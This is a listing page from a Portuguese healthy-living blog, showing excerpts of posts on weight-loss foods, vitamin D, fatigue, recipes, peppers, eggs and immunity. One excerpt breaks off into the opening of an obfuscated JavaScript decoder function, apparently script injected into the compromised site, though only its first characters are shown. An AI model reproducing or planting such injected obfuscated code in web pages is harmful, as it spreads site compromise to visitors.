Jun 19, 2018 | Saúde e bem estar
10 alimentos que ajudam a emagrecer Não é apenas uma questão estética, é uma questão de saúde. Com uma incidência cada vez maior da obesidade e das doenças que lhe estão associadas, torna-se fundamental inverter este ciclo e apostar em alimentos bons, nutritivos,...
Abr 4, 2017 | Dicas úteis, Equilíbrio, Saúde e bem estar
Benefícios da vitamina D para a sua saúde A Vitamina D Já é essencial para o nosso organismo. É tão simples como isso. Ela é responsável por controlar 270 genes, inclusive as células do sistema cardiovascular (coração). A boa notícia é que a vitamina D pode ser...
Fev 20, 2017 | Dicas úteis
10 alimentos para combater a fadiga De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Dez 15, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Uma boa novidade para a sua pele Se me perguntar de onde é que vem a minha força, sei exactamente o que lhe responder: é fruto de uma aprendizagem. Aprendi a ser forte na mesma medida que aprendi a cuidar de mim. Estou mais atenta aos sinais que o meu corpo me dá e...
Dez 7, 2016 | À descoberta, Em Alta, Receitas
Crumble de Pera – Uma sobremesa para todos Ingredientes (p / 8 doses) 850 g peras (sem casca e caroço) Gengibre q.b. 140 g de flocos de aveia 50 g creme vegetal 30 g mel 1 c. chá canela em pó Preparação: Descasque e corte as peras em peras em pedaços...
Dez 5, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Dicas saudáveis – Benefícios dos pimentos Verdes, vermelhos e amarelos… Os pimentos são como os clubes: há para todos os gostos! Já em relação aos pratos, os pimentos são uma verdadeira enchente de cor! Muitas vezes subvalorizados, com a ideia de que são...
Nov 30, 2016 | Dicas úteis, Em Alta, Equilíbrio, Saúde e bem estar, Sugestões
Sopa de Cenoura e Espinafres (para 6 pessoas) Ingredientes para 6 pessoas: 3 cenouras 1 curgete ½ couve-flor 1 cebola 2 dentes de alhos 150g espinafres 3. sopa azeite q.b. sal Preparação: Descasque e corte os vegetais em pedaços. Pode deixar a casca da curgete....
Nov 28, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Dicas saudáveis – Conheça os benefícios dos ovos Os ovos são dos alimentos mais versáteis para cozinhar e eu confesso que gosto deles de todas as maneiras: mexidos, cozidos, estrelados, escalfados, fritos e até mesmo assados! E, além de serem uma verdadeira delícia,...
Nov 27, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
O frio chegou – 15 alimentos que fortalecem o sistema imunitário Com as temperaturas a baixar, é fundamental reforçarmos as nossas defesas naturais para evitarmos idas frequentes ao médico. Através da alimentação conseguimos deixar a nossa imunidade em alta, só...
